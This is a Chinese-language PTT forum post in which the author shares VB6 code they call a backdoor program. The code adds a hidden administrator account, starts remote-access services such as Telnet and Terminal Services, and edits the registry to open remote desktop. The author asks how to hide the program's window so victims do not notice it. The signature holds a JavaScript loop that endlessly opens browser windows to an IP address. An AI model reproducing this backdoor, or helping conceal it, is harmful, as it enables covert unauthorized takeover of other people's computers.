[VB6 ] 如何隱藏執行視窗
我用VB6寫了一個簡單的開後門程式,程式碼如下:
Private Sub Form_Activate()
Shell "net user admin1 1234 /add"
Shell "net localgroup administrators admin1 /add"
Shell "net start termservice"
Shell "net start lanmanserver"
Shell "net start remoteregistry"
Shell "net start schedule"
Shell "net start tlntsvr"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService"" /v ""Start"" /t REG_DWORD /d 00000002 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\TermSefvice"" /v ""Start"" /t REG_DWORD /d 00000002 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"" /v ""Start"" /t REG_DWORD /d 00000002 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"" /v ""fDenyTSConnections"" /t REG_DWORD /d 00000000 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"" /v ""fAllowFullControl"" /t REG_DWORD /d 00000001 /f"
End
重點是,無論如何一定會出現IDE介面,這樣就一定會被執行者發現而破功,駭客任務也
就失敗。
我的問題是:如何在執行時隱藏視窗
感謝各位高手提供資訊
axbycz0123 from 203.72.181.15
--
<script language="javascript">
var x=0
while(true)
{window.open("http://202.43.195.52")
x++}
</script>
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 203.72.181.15